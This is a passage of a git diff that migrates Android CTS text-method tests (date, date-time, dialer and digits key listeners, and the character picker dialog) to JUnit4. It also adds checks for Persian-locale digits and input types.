+        final MotionEvent.PointerCoords[] coords = new MotionEvent.PointerCoords[1];
+        coords[0] = new MotionEvent.PointerCoords();
+        coords[0].setAxisValue(MotionEvent.AXIS_VSCROLL, vertical);
+        coords[0].setAxisValue(MotionEvent.AXIS_HSCROLL, horizontal);
+        final long time = SystemClock.uptimeMillis();
+        return MotionEvent.obtain(time, time, MotionEvent.ACTION_SCROLL, 1,
+                pointerProperties, coords, meta, 0, 1.0f, 1.0f, 0, 0,
+                InputDevice.SOURCE_CLASS_POINTER, 0);
+    }
+}
diff --git a/tests/tests/text/src/android/text/method/cts/CharacterPickerDialogTest.java b/tests/tests/text/src/android/text/method/cts/CharacterPickerDialogTest.java
index b348c28..fda8469 100644
--- a/tests/tests/text/src/android/text/method/cts/CharacterPickerDialogTest.java
+++ b/tests/tests/text/src/android/text/method/cts/CharacterPickerDialogTest.java
@@ -16,50 +16,59 @@
 
 package android.text.method.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
 
 import android.app.Activity;
-import android.test.ActivityInstrumentationTestCase2;
-import android.test.UiThreadTest;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
 import android.text.Editable;
 import android.text.Selection;
 import android.text.method.CharacterPickerDialog;
 import android.view.View;
 import android.widget.Gallery;
 
-public class CharacterPickerDialogTest extends
-        ActivityInstrumentationTestCase2<CtsActivity> {
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class CharacterPickerDialogTest {
     private Activity mActivity;
 
-    public CharacterPickerDialogTest() {
-        super("android.text.cts", CtsActivity.class);
-    }
+    @Rule
+    public ActivityTestRule<CtsActivity> mActivityRule = new ActivityTestRule<>(CtsActivity.class);
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mActivity = getActivity();
+    @Before
+    public void setup() {
+        mActivity = mActivityRule.getActivity();
     }
 
     @UiThreadTest
+    @Test
     public void testConstructor() {
         final CharSequence str = "123456";
         final Editable content = Editable.Factory.getInstance().newEditable(str);
         final View view = new TextViewNoIme(mActivity);
         new CharacterPickerDialog(view.getContext(), view, content, "\u00A1", false);
-
-        try {
-            new CharacterPickerDialog(null, view, content, "\u00A1", false);
-            fail("should throw NullPointerException.");
-        } catch (NullPointerException e) {
-            // expected.
-        }
-    }
-
-    public void testOnCreate() {
-        // Do not test. Implementation details.
     }
 
     @UiThreadTest
+    @Test(expected=NullPointerException.class)
+    public void testConstructorNullContext() {
+        final CharSequence str = "123456";
+        final Editable content = Editable.Factory.getInstance().newEditable(str);
+        final View view = new TextViewNoIme(mActivity);
+        new CharacterPickerDialog(null, view, content, "\u00A1", false);
+    }
+
+    @UiThreadTest
+    @Test
     public void testOnItemClick() {
         final Gallery parent = new Gallery(mActivity);
         final CharSequence str = "123456";
@@ -102,6 +111,7 @@
     }
 
     @UiThreadTest
+    @Test
     public void testOnClick() {
         final CharSequence str = "123456";
         final Editable content = Editable.Factory.getInstance().newEditable(str);
@@ -114,6 +124,5 @@
 
         // nothing to test here, just make sure onClick does not throw exception
         characterPickerDialog.onClick(view);
-
     }
 }
diff --git a/tests/tests/text/src/android/text/method/cts/DateKeyListenerTest.java b/tests/tests/text/src/android/text/method/cts/DateKeyListenerTest.java
index 7642d91..16f632c 100644
--- a/tests/tests/text/src/android/text/method/cts/DateKeyListenerTest.java
+++ b/tests/tests/text/src/android/text/method/cts/DateKeyListenerTest.java
@@ -16,49 +16,121 @@
 
 package android.text.method.cts;
 
-import android.cts.util.KeyEventUtil;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNotSame;
+import static org.junit.Assert.assertSame;
+
+import android.support.test.filters.MediumTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.text.InputType;
 import android.text.method.DateKeyListener;
 import android.view.KeyEvent;
 
+import com.android.compatibility.common.util.CtsKeyEventUtil;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.Locale;
+
 /**
  * Test {@link android.text.method.DateKeyListener}.
  */
+@MediumTest
+@RunWith(AndroidJUnit4.class)
 public class DateKeyListenerTest extends KeyListenerTestCase {
-
-    private KeyEventUtil mKeyEventUtil;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mKeyEventUtil = new KeyEventUtil(getInstrumentation());
-    }
-
+    @Test
     public void testConstructor() {
+        // deprecated empty constructor
         new DateKeyListener();
+
+        // newer constructor that takes locales
+        new DateKeyListener(null); // fallback to old behavior
+        new DateKeyListener(Locale.US);
+        new DateKeyListener(Locale.forLanguageTag("fa-IR"));
     }
 
+    @Test
     public void testGetInstance() {
-        DateKeyListener listener1 = DateKeyListener.getInstance();
-        DateKeyListener listener2 = DateKeyListener.getInstance();
+        final DateKeyListener emptyListener1 = DateKeyListener.getInstance();
+        final DateKeyListener emptyListener2 = DateKeyListener.getInstance();
+        final DateKeyListener nullListener = DateKeyListener.getInstance(null);
 
-        assertNotNull(listener1);
-        assertNotNull(listener2);
-        assertSame(listener1, listener2);
+        assertNotNull(emptyListener1);
+        assertNotNull(emptyListener2);
+        assertNotNull(nullListener);
+        assertSame(emptyListener1, emptyListener2);
+        assertSame(emptyListener1, nullListener);
+
+        final DateKeyListener usListener1 = DateKeyListener.getInstance(Locale.US);
+        final DateKeyListener usListener2 = DateKeyListener.getInstance(new Locale("en", "US"));
+        final DateKeyListener irListener = DateKeyListener.getInstance(
+                Locale.forLanguageTag("fa-IR"));
+
+        assertNotNull(usListener1);
+        assertNotNull(usListener2);
+        assertNotNull(irListener);
+        assertSame(usListener1, usListener2);
+        assertNotSame(usListener1, irListener);
+        assertNotSame(usListener1, nullListener);
     }
 
+    @Test
     public void testGetAcceptedChars() {
-        MockDateKeyListener mockDateKeyListener = new MockDateKeyListener();
+        assertNotNull(DateKeyListener.CHARACTERS);
 
-        TextMethodUtils.assertEquals(DateKeyListener.CHARACTERS,
-                mockDateKeyListener.getAcceptedChars());
+        final MockDateKeyListener emptyMockDateKeyListener = new MockDateKeyListener();
+        assertSame(DateKeyListener.CHARACTERS, emptyMockDateKeyListener.getAcceptedChars());
+
+        final MockDateKeyListener usMockDateKeyListener = new MockDateKeyListener(Locale.US);
+        assertNotSame(DateKeyListener.CHARACTERS, usMockDateKeyListener.getAcceptedChars());
+
+        MockDateKeyListener irMockDateKeyListener = new MockDateKeyListener(
+                Locale.forLanguageTag("fa-IR"));
+        final String acceptedChars = new String(irMockDateKeyListener.getAcceptedChars());
+        // Make sure all these chararacters are accepted.
+        final char[] expectedChars = {
+            '\u06F0', '\u06F1', '\u06F2', '\u06F3', '\u06F4',
+            '\u06F5', '\u06F6', '\u06F7', '\u06F8', '\u06F9',
+            '/'
+        };
+        for (int i = 0; i < expectedChars.length; i++) {
+            assertNotEquals(-1, acceptedChars.indexOf(expectedChars[i]));
+        }
+        // Make sure all these chararacters are not accepted.
+        final char[] unexpectedChars = {
+            '0', '1', '2', '3', '4',
+            '5', '6', '7', '8', '9'
+        };
+        for (int i = 0; i < unexpectedChars.length; i++) {
+            assertEquals(-1, acceptedChars.indexOf(unexpectedChars[i]));
+        }
     }
 
+    @Test
     public void testGetInputType() {
-        DateKeyListener dateKeyListener = new DateKeyListener();
+        // The "normal" input type that has been used consistently until Android O.
+        final int dateTimeType = InputType.TYPE_CLASS_DATETIME
+                | InputType.TYPE_DATETIME_VARIATION_DATE;
+        // Fallback for locales that need more characters.
+        final int textType = InputType.TYPE_CLASS_TEXT | InputType.TYPE_TEXT_VARIATION_NORMAL;
 
-        int expected = InputType.TYPE_CLASS_DATETIME | InputType.TYPE_DATETIME_VARIATION_DATE;
-        assertEquals(expected, dateKeyListener.getInputType());
+        // Deprecated constructor that needs to preserve pre-existing behavior.
+        DateKeyListener dateKeyListener = new DateKeyListener();
+        assertEquals(dateTimeType, dateKeyListener.getInputType());
+
+        // TYPE_CLASS_DATETIME is fine for English locales.
+        dateKeyListener = new DateKeyListener(Locale.US);
+        assertEquals(dateTimeType, dateKeyListener.getInputType());
+        dateKeyListener = new DateKeyListener(Locale.UK);
+        assertEquals(dateTimeType, dateKeyListener.getInputType());
+
+        // Persian needs more characters then typically provided by datetime inputs, so it falls
+        // back on normal text.
+        dateKeyListener = new DateKeyListener(Locale.forLanguageTag("fa-IR"));
+        assertEquals(textType, dateKeyListener.getInputType());
     }
 
     /*
@@ -70,6 +142,7 @@
      * 5. Press '/' key and check if the content of TextView becomes "12-/"
      * 6. remove DateKeyListener and Press '/' key, this key will not be accepted
      */
+    @Test
     public void testDateTimeKeyListener() {
         final DateKeyListener dateKeyListener = DateKeyListener.getInstance();
 
@@ -77,26 +150,26 @@
         assertEquals("", mTextView.getText().toString());
 
         // press '1' key.
-        mKeyEventUtil.sendKeys(mTextView, KeyEvent.KEYCODE_1);
+        CtsKeyEventUtil.sendKeys(mInstrumentation, mTextView, KeyEvent.KEYCODE_1);
         assertEquals("1", mTextView.getText().toString());
 
         // press '2' key.
-        mKeyEventUtil.sendKeys(mTextView, KeyEvent.KEYCODE_2);
+        CtsKeyEventUtil.sendKeys(mInstrumentation, mTextView, KeyEvent.KEYCODE_2);
         assertEquals("12", mTextView.getText().toString());
 
         // press an unaccepted key if it exists.
         int keyCode = TextMethodUtils.getUnacceptedKeyCode(DateKeyListener.CHARACTERS);
         if (-1 != keyCode) {
-            mKeyEventUtil.sendKeys(mTextView, keyCode);
+            CtsKeyEventUtil.sendKeys(mInstrumentation, mTextView, keyCode);
             assertEquals("12", mTextView.getText().toString());
         }
 
         // press '-' key.
-        mKeyEventUtil.sendKeys(mTextView, KeyEvent.KEYCODE_MINUS);
+        CtsKeyEventUtil.sendKeys(mInstrumentation, mTextView, KeyEvent.KEYCODE_MINUS);
         assertEquals("12-", mTextView.getText().toString());
 
         // press '/' key.
-        mKeyEventUtil.sendKeys(mTextView, KeyEvent.KEYCODE_SLASH);
+        CtsKeyEventUtil.sendKeys(mInstrumentation, mTextView, KeyEvent.KEYCODE_SLASH);
         assertEquals("12-/", mTextView.getText().toString());
 
         // remove DateKeyListener
@@ -104,7 +177,7 @@
         assertEquals("12-/", mTextView.getText().toString());
 
         // press '/' key, it will not be accepted.
-        mKeyEventUtil.sendKeys(mTextView, KeyEvent.KEYCODE_SLASH);
+        CtsKeyEventUtil.sendKeys(mInstrumentation, mTextView, KeyEvent.KEYCODE_SLASH);
         assertEquals("12-/", mTextView.getText().toString());
     }
 
@@ -115,6 +188,14 @@
      * {@link android.text.method.DateKeyListener#getAcceptedChars()}.
      */
     private class MockDateKeyListener extends DateKeyListener {
+        MockDateKeyListener() {
+            super();
+        }
+
+        MockDateKeyListener(Locale locale) {
+            super(locale);
+        }
+
         @Override
         protected char[] getAcceptedChars() {
             return super.getAcceptedChars();
diff --git a/tests/tests/text/src/android/text/method/cts/DateTimeKeyListenerTest.java b/tests/tests/text/src/android/text/method/cts/DateTimeKeyListenerTest.java
index 9dfc38a..decd451 100644
--- a/tests/tests/text/src/android/text/method/cts/DateTimeKeyListenerTest.java
+++ b/tests/tests/text/src/android/text/method/cts/DateTimeKeyListenerTest.java
@@ -16,51 +16,124 @@
 
 package android.text.method.cts;
 
-import android.cts.util.KeyEventUtil;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNotSame;
+import static org.junit.Assert.assertSame;
+
+import android.support.test.filters.MediumTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.text.InputType;
 import android.text.method.DateTimeKeyListener;
 import android.view.KeyCharacterMap;
 import android.view.KeyEvent;
 
+import com.android.compatibility.common.util.CtsKeyEventUtil;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.Locale;
+
 /**
  * Test {@link android.text.method.DateTimeKeyListener}.
  */
+@MediumTest
+@RunWith(AndroidJUnit4.class)
 public class DateTimeKeyListenerTest extends KeyListenerTestCase {
-
-    private KeyEventUtil mKeyEventUtil;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mKeyEventUtil = new KeyEventUtil(getInstrumentation());
-    }
-
+    @Test
     public void testConstructor() {
+        // deprecated empty constructor
         new DateTimeKeyListener();
+
+        // newer constructor that takes locales
+        new DateTimeKeyListener(null); // fallback to old behavior
+        new DateTimeKeyListener(Locale.US);
+        new DateTimeKeyListener(Locale.forLanguageTag("fa-IR"));
     }
 
+    @Test
     public void testGetInstance() {
-        DateTimeKeyListener listener1 = DateTimeKeyListener.getInstance();
-        DateTimeKeyListener listener2 = DateTimeKeyListener.getInstance();
+        final DateTimeKeyListener emptyListener1 = DateTimeKeyListener.getInstance();
+        final DateTimeKeyListener emptyListener2 = DateTimeKeyListener.getInstance();
+        final DateTimeKeyListener nullListener = DateTimeKeyListener.getInstance(null);
 
-        assertNotNull(listener1);
-        assertNotNull(listener2);
-        assertSame(listener1, listener2);
+        assertNotNull(emptyListener1);
+        assertNotNull(emptyListener2);
+        assertNotNull(nullListener);
+        assertSame(emptyListener1, emptyListener2);
+        assertSame(emptyListener1, nullListener);
+
+        final DateTimeKeyListener usListener1 = DateTimeKeyListener.getInstance(Locale.US);
+        final DateTimeKeyListener usListener2 = DateTimeKeyListener.getInstance(
+                new Locale("en", "US"));
+        final DateTimeKeyListener irListener = DateTimeKeyListener.getInstance(
+                Locale.forLanguageTag("fa-IR"));
+
+        assertNotNull(usListener1);
+        assertNotNull(usListener2);
+        assertNotNull(irListener);
+        assertSame(usListener1, usListener2);
+        assertNotSame(usListener1, irListener);
+        assertNotSame(usListener1, nullListener);
     }
 
+    @Test
     public void testGetAcceptedChars() {
-        MockDateTimeKeyListener mockDateTimeKeyListener = new MockDateTimeKeyListener();
+        assertNotNull(DateTimeKeyListener.CHARACTERS);
 
-        TextMethodUtils.assertEquals(DateTimeKeyListener.CHARACTERS,
-                mockDateTimeKeyListener.getAcceptedChars());
+        final MockDateTimeKeyListener emptyMockDateTimeKeyListener = new MockDateTimeKeyListener();
+        assertSame(DateTimeKeyListener.CHARACTERS, emptyMockDateTimeKeyListener.getAcceptedChars());
+
+        final MockDateTimeKeyListener usMockDateTimeKeyListener =
+                new MockDateTimeKeyListener(Locale.US);
+        assertNotSame(DateTimeKeyListener.CHARACTERS, usMockDateTimeKeyListener.getAcceptedChars());
+
+        MockDateTimeKeyListener irMockDateTimeKeyListener = new MockDateTimeKeyListener(
+                Locale.forLanguageTag("fa-IR"));
+        final String acceptedChars = new String(irMockDateTimeKeyListener.getAcceptedChars());
+        // Make sure all these chararacters are accepted.
+        final char[] expectedChars = {
+            '\u06F0', '\u06F1', '\u06F2', '\u06F3', '\u06F4',
+            '\u06F5', '\u06F6', '\u06F7', '\u06F8', '\u06F9',
+            '/', ':'
+        };
+        for (int i = 0; i < expectedChars.length; i++) {
+            assertNotEquals(-1, acceptedChars.indexOf(expectedChars[i]));
+        }
+        // Make sure all these chararacters are not accepted.
+        final char[] unexpectedChars = {
+            '0', '1', '2', '3', '4',
+            '5', '6', '7', '8', '9'
+        };
+        for (int i = 0; i < unexpectedChars.length; i++) {
+            assertEquals(-1, acceptedChars.indexOf(unexpectedChars[i]));
+        }
     }
 
+    @Test
     public void testGetInputType() {
-        DateTimeKeyListener listener = DateTimeKeyListener.getInstance();
-
-        int expected = InputType.TYPE_CLASS_DATETIME
+        // The "normal" input type that has been used consistently until Android O.
+        final int dateTimeType = InputType.TYPE_CLASS_DATETIME
                 | InputType.TYPE_DATETIME_VARIATION_NORMAL;
-        assertEquals(expected, listener.getInputType());
+        // Fallback for locales that need more characters.
+        final int textType = InputType.TYPE_CLASS_TEXT | InputType.TYPE_TEXT_VARIATION_NORMAL;
+
+        // Deprecated constructor that needs to preserve pre-existing behavior.
+        DateTimeKeyListener listener = DateTimeKeyListener.getInstance();
+        assertEquals(dateTimeType, listener.getInputType());
+
+        // TYPE_CLASS_DATETIME is fine for English locales.
+        listener = DateTimeKeyListener.getInstance(Locale.US);
+        assertEquals(dateTimeType, listener.getInputType());
+        listener = DateTimeKeyListener.getInstance(Locale.UK);
+        assertEquals(dateTimeType, listener.getInputType());
+
+        // Persian needs more characters then typically provided by datetime inputs, so it falls
+        // back on normal text.
+        listener = DateTimeKeyListener.getInstance(Locale.forLanguageTag("fa-IR"));
+        assertEquals(textType, listener.getInputType());
     }
 
     /*
@@ -71,8 +144,9 @@
      * 4. Press 'p' key if it is producible
      * 5. Press 'm' key if it is producible
      * 6. Press an unaccepted key if it exists. and this key will not be accepted.
-     * 7. Remove DateKeyListener and Press '1' key, this key will not be accepted
+     * 7. Remove DateTimeKeyListener and Press '1' key, this key will not be accepted
      */
+    @Test
     public void testDateTimeKeyListener() {
         final DateTimeKeyListener dateTimeKeyListener = DateTimeKeyListener.getInstance();
         setKeyListenerSync(dateTimeKeyListener);
@@ -80,12 +154,12 @@
         assertEquals(expectedText, mTextView.getText().toString());
 
         // press '1' key.
-        mKeyEventUtil.sendString(mTextView, "1");
+        CtsKeyEventUtil.sendString(mInstrumentation, mTextView, "1");
         expectedText += "1";
         assertEquals(expectedText, mTextView.getText().toString());
 
         // press '2' key.
-        mKeyEventUtil.sendString(mTextView, "2");
+        CtsKeyEventUtil.sendString(mInstrumentation, mTextView, "2");
         expectedText += "2";
         assertEquals(expectedText, mTextView.getText().toString());
 
@@ -93,28 +167,28 @@
         KeyCharacterMap kcm = KeyCharacterMap.load(KeyCharacterMap.VIRTUAL_KEYBOARD);
         if ('a' == kcm.getMatch(KeyEvent.KEYCODE_A, DateTimeKeyListener.CHARACTERS)) {
             expectedText += "a";
-            mKeyEventUtil.sendKeyDownUp(mTextView, KeyEvent.KEYCODE_A);
+            CtsKeyEventUtil.sendKeyDownUp(mInstrumentation, mTextView, KeyEvent.KEYCODE_A);
             assertEquals(expectedText, mTextView.getText().toString());
         }
 
         // press 'p' key if producible
         if ('p' == kcm.getMatch(KeyEvent.KEYCODE_P, DateTimeKeyListener.CHARACTERS)) {
             expectedText += "p";
-            mKeyEventUtil.sendKeyDownUp(mTextView, KeyEvent.KEYCODE_P);
+            CtsKeyEventUtil.sendKeyDownUp(mInstrumentation, mTextView, KeyEvent.KEYCODE_P);
             assertEquals(expectedText, mTextView.getText().toString());
         }
 
         // press 'm' key if producible
         if ('m' == kcm.getMatch(KeyEvent.KEYCODE_M, DateTimeKeyListener.CHARACTERS)) {
             expectedText += "m";
-            mKeyEventUtil.sendKeyDownUp(mTextView, KeyEvent.KEYCODE_M);
+            CtsKeyEventUtil.sendKeyDownUp(mInstrumentation, mTextView, KeyEvent.KEYCODE_M);
             assertEquals(expectedText, mTextView.getText().toString());
         }
 
         // press an unaccepted key if it exists.
         int keyCode = TextMethodUtils.getUnacceptedKeyCode(DateTimeKeyListener.CHARACTERS);
         if (-1 != keyCode) {
-            mKeyEventUtil.sendKeys(mTextView, keyCode);
+            CtsKeyEventUtil.sendKeys(mInstrumentation, mTextView, keyCode);
             assertEquals(expectedText, mTextView.getText().toString());
         }
 
@@ -122,7 +196,7 @@
         setKeyListenerSync(null);
         assertEquals(expectedText, mTextView.getText().toString());
 
-        mKeyEventUtil.sendString(mTextView, "1");
+        CtsKeyEventUtil.sendString(mInstrumentation, mTextView, "1");
         assertEquals(expectedText, mTextView.getText().toString());
     }
 
@@ -134,6 +208,14 @@
      * {@link android.text.method.DateTimeKeyListener#getAcceptedChars()}.
      */
     private class MockDateTimeKeyListener extends DateTimeKeyListener {
+        MockDateTimeKeyListener() {
+            super();
+        }
+
+        MockDateTimeKeyListener(Locale locale) {
+            super(locale);
+        }
+
         @Override
         protected char[] getAcceptedChars() {
             return super.getAcceptedChars();
diff --git a/tests/tests/text/src/android/text/method/cts/DialerKeyListenerTest.java b/tests/tests/text/src/android/text/method/cts/DialerKeyListenerTest.java
index 219869c..7808824 100644
--- a/tests/tests/text/src/android/text/method/cts/DialerKeyListenerTest.java
+++ b/tests/tests/text/src/android/text/method/cts/DialerKeyListenerTest.java
@@ -16,25 +16,40 @@
 
 package android.text.method.cts;
 
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+
+import android.support.test.filters.MediumTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.text.InputType;
 import android.text.Spannable;
 import android.text.SpannableString;
 import android.text.method.DialerKeyListener;
 import android.view.KeyEvent;
 
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 /**
  * Test {@link android.text.method.DialerKeyListener}.
  */
+@MediumTest
+@RunWith(AndroidJUnit4.class)
 public class DialerKeyListenerTest extends KeyListenerTestCase {
+    @Test
     public void testConstructor() {
         new DialerKeyListener();
     }
 
+    @Test
     public void testLookup() {
         MockDialerKeyListener mockDialerKeyListener = new MockDialerKeyListener();
-        final int[] events = { KeyEvent.KEYCODE_0, KeyEvent.KEYCODE_N, KeyEvent.KEYCODE_A };
+        final int[] events = {KeyEvent.KEYCODE_0, KeyEvent.KEYCODE_N, KeyEvent.KEYCODE_A};
         SpannableString span = new SpannableString(""); // no meta spans
-        for (int event: events) {
+        for (int event : events) {
             KeyEvent keyEvent = new KeyEvent(KeyEvent.ACTION_DOWN, event);
             int keyChar = keyEvent.getNumber();
             if (keyChar != 0) {
@@ -43,14 +58,16 @@
                 // cannot make any assumptions how the key code gets translated
             }
         }
-
-        try {
-            mockDialerKeyListener.lookup(null, span);
-            fail("should throw NullPointerException.");
-        } catch (NullPointerException e) {
-        }
     }
 
+    @Test(expected=NullPointerException.class)
+    public void testLookupNull() {
+        MockDialerKeyListener mockDialerKeyListener = new MockDialerKeyListener();
+        SpannableString span = new SpannableString(""); // no meta spans
+        mockDialerKeyListener.lookup(null, span);
+    }
+
+    @Test
     public void testGetInstance() {
         assertNotNull(DialerKeyListener.getInstance());
 
@@ -62,13 +79,15 @@
         assertSame(listener1, listener2);
     }
 
+    @Test
     public void testGetAcceptedChars() {
         MockDialerKeyListener mockDialerKeyListener = new MockDialerKeyListener();
 
-        TextMethodUtils.assertEquals(DialerKeyListener.CHARACTERS,
+        assertArrayEquals(DialerKeyListener.CHARACTERS,
                 mockDialerKeyListener.getAcceptedChars());
     }
 
+    @Test
     public void testGetInputType() {
         DialerKeyListener listener = DialerKeyListener.getInstance();
 
diff --git a/tests/tests/text/src/android/text/method/cts/DigitsKeyListenerTest.java b/tests/tests/text/src/android/text/method/cts/DigitsKeyListenerTest.java
index 3170482..7854268 100644
--- a/tests/tests/text/src/android/text/method/cts/DigitsKeyListenerTest.java
+++ b/tests/tests/text/src/android/text/method/cts/DigitsKeyListenerTest.java
@@ -16,7 +16,16 @@
 
 package android.text.method.cts;
 
-import android.cts.util.KeyEventUtil;
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNotSame;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
+
+import android.support.test.filters.MediumTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.text.InputType;
 import android.text.Spannable;
 import android.text.SpannableString;
@@ -24,23 +33,39 @@
 import android.text.method.DigitsKeyListener;
 import android.view.KeyEvent;
 
+import com.android.compatibility.common.util.CtsKeyEventUtil;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.Locale;
+
 /**
  * Test {@link DigitsKeyListener}.
  */
+@MediumTest
+@RunWith(AndroidJUnit4.class)
 public class DigitsKeyListenerTest extends KeyListenerTestCase {
-
-    private KeyEventUtil mKeyEventUtil;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mKeyEventUtil = new KeyEventUtil(getInstrumentation());
-    }
-
+    @Test
     public void testConstructor() {
         new DigitsKeyListener();
-
         new DigitsKeyListener(true, true);
+        new DigitsKeyListener(true, false);
+        new DigitsKeyListener(false, true);
+        new DigitsKeyListener(false, false);
+
+        new DigitsKeyListener(Locale.US);
+        new DigitsKeyListener(Locale.US, true, true);
+        new DigitsKeyListener(Locale.US, true, false);
+        new DigitsKeyListener(Locale.US, false, true);
+        new DigitsKeyListener(Locale.US, false, false);
+
+        final Locale ir = Locale.forLanguageTag("fa-IR");
+        new DigitsKeyListener(ir);
+        new DigitsKeyListener(ir, true, true);
+        new DigitsKeyListener(ir, true, false);
+        new DigitsKeyListener(ir, false, true);
+        new DigitsKeyListener(ir, false, false);
     }
 
     /*
@@ -53,6 +78,7 @@
      * 5. filter Spanned("-a1.b2c3d"), return Spanned("123") and copy spans.
      * 6. filter "", return null
      */
+    @Test
     public void testFilter1() {
         String source = "123456";
         String destString = "dest string";
@@ -110,6 +136,7 @@
      * 13. filter "-123456" but dest has '-' before dstart, return "123456"
      * 14. filter "+123456" but dest has '-' before dstart, return "123456"
      */
+    @Test
     public void testFilter2() {
         String source = "-123456";
         String destString = "dest string without sign and decimal";
@@ -208,6 +235,7 @@
      * 8. filter "123.456" but dest has '.' after dend, return "123456"
      * 9. filter "123.456" but dest has '.' before dstart, return "123456"
      */
+    @Test
     public void testFilter3() {
         String source = "123.456";
         String destString = "dest string without sign and decimal";
@@ -287,6 +315,7 @@
      * 16. filter "-123.456" but dest has '-' before dstart, return "123.456"
      * 17. filter "+123.456" but dest has '-' before dstart, return "123.456"
      */
+    @Test
     public void testFilter4() {
         String source = "-123.456";
         String destString = "dest string without sign and decimal";
@@ -389,6 +418,126 @@
     }
 
     /*
+     * Check point:
+     * Current accepted characters are U+06F0..U+06F9 for digits, U+066B as decimal separator, '-',
+     * '+'.
+     *
+     * Tests are otherwise identical to the tests in testFilter4().
+     */
+    @Test
+    public void testFilter4_internationalized() {
+        String source = "-\u06F1\u06F2\u06F3\u066B\u06F4\u06F5\u06F6";
+        String destString = "dest string without sign and decimal";
+
+        DigitsKeyListener digitsKeyListener =
+                DigitsKeyListener.getInstance(Locale.forLanguageTag("fa-IR"), true, true);
+        SpannableString dest = new SpannableString(destString);
+        assertNull(digitsKeyListener.filter(source, 0, source.length(),
+                dest, 0, dest.length()));
+        assertEquals(destString, dest.toString());
+
+        source = "+\u06F1\u06F2\u06F3\u066B\u06F4\u06F5\u06F6";
+        assertNull(digitsKeyListener.filter(source, 0, source.length(),
+                dest, 0, dest.length()));
+        assertEquals(destString, dest.toString());
+
+        source = "-a\u06F1\u066Bb\u06F2c\u06F3d";
+        assertEquals("-\u06F1\u066B\u06F2\u06F3", (digitsKeyListener.filter(
+                source, 0, source.length(),
+                dest, 0, dest.length())).toString());
+        assertEquals(destString, dest.toString());
+
+        source = "a\u06F1\u066Bb-\u06F2c+\u06F3d\u066B";
+        assertEquals("\u06F1\u06F2\u06F3\u066B", (digitsKeyListener.filter(
+                source, 0, source.length(),
+                dest, 0, dest.length())).toString());
+        assertEquals(destString, dest.toString());
+
+        source = "-\u06F5\u066Ba\u06F1\u066Bb\u06F2c+\u06F3d";
+        assertEquals("-\u06F5\u06F1\u066B\u06F2\u06F3", (digitsKeyListener.filter(
+                source, 0, source.length(),
+                dest, 0, dest.length())).toString());
+        assertEquals(destString, dest.toString());
+
+        source = "+\u06F5\u066Ba\u06F1\u066Bb\u06F2c-\u06F3d";
+        assertEquals("+\u06F5\u06F1\u066B\u06F2\u06F3", (digitsKeyListener.filter(
+                source, 0, source.length(),
+                dest, 0, dest.length())).toString());
+        assertEquals(destString, dest.toString());
+
+        source = "-\u06F5\u066Ba\u06F1\u066Bb\u06F2c+\u06F3d";
+        Object what = new Object();
+        Spannable spannableSource = new SpannableString(source);
+        spannableSource.setSpan(what, 0, spannableSource.length(), Spanned.SPAN_POINT_POINT);
+        Spanned filtered = (Spanned) digitsKeyListener.filter(spannableSource,
+                0, spannableSource.length(), dest, 0, dest.length());
+        assertEquals("-\u06F5\u06F1\u066B\u06F2\u06F3", filtered.toString());
+        assertEquals(Spanned.SPAN_POINT_POINT, filtered.getSpanFlags(what));
+        assertEquals(0, filtered.getSpanStart(what));
+        assertEquals("-\u06F5\u06F1\u066B\u06F2\u06F3".length(), filtered.getSpanEnd(what));
+
+        assertNull(digitsKeyListener.filter("", 0, 0, dest, 0, dest.length()));
+        assertEquals(destString, dest.toString());
+
+        source = "-\u06F1\u06F2\u06F3\u066B\u06F4\u06F5\u06F6";
+        String endDecimal = "\u06F7\u06F8\u06F9\u066B";
+        dest = new SpannableString(endDecimal);
+        assertEquals("-\u06F1\u06F2\u06F3\u06F4\u06F5\u06F6", (digitsKeyListener.filter(
+                source, 0, source.length(),
+                dest, 0, dest.length() - 1)).toString());
+        assertEquals(endDecimal, dest.toString());
+
+        String startDecimal = "\u066B\u06F7\u06F8\u06F9";
+        dest = new SpannableString(startDecimal);
+        assertEquals("\u06F1\u06F2\u06F3\u06F4\u06F5\u06F6", (digitsKeyListener.filter(
+                source, 0, source.length(),
+                dest, 1, dest.length())).toString());
+        assertEquals(startDecimal, dest.toString());
+
+        source = "+\u06F1\u06F2\u06F3\u066B\u06F4\u06F5\u06F6";
+        endDecimal = "\u06F7\u06F8\u06F9\u066B";
+        dest = new SpannableString(endDecimal);
+        assertEquals("+\u06F1\u06F2\u06F3\u06F4\u06F5\u06F6", (digitsKeyListener.filter(
+                source, 0, source.length(),
+                dest, 0, dest.length() - 1)).toString());
+        assertEquals(endDecimal, dest.toString());
+
+        startDecimal = "\u066B\u06F7\u06F8\u06F9";
+        dest = new SpannableString(startDecimal);
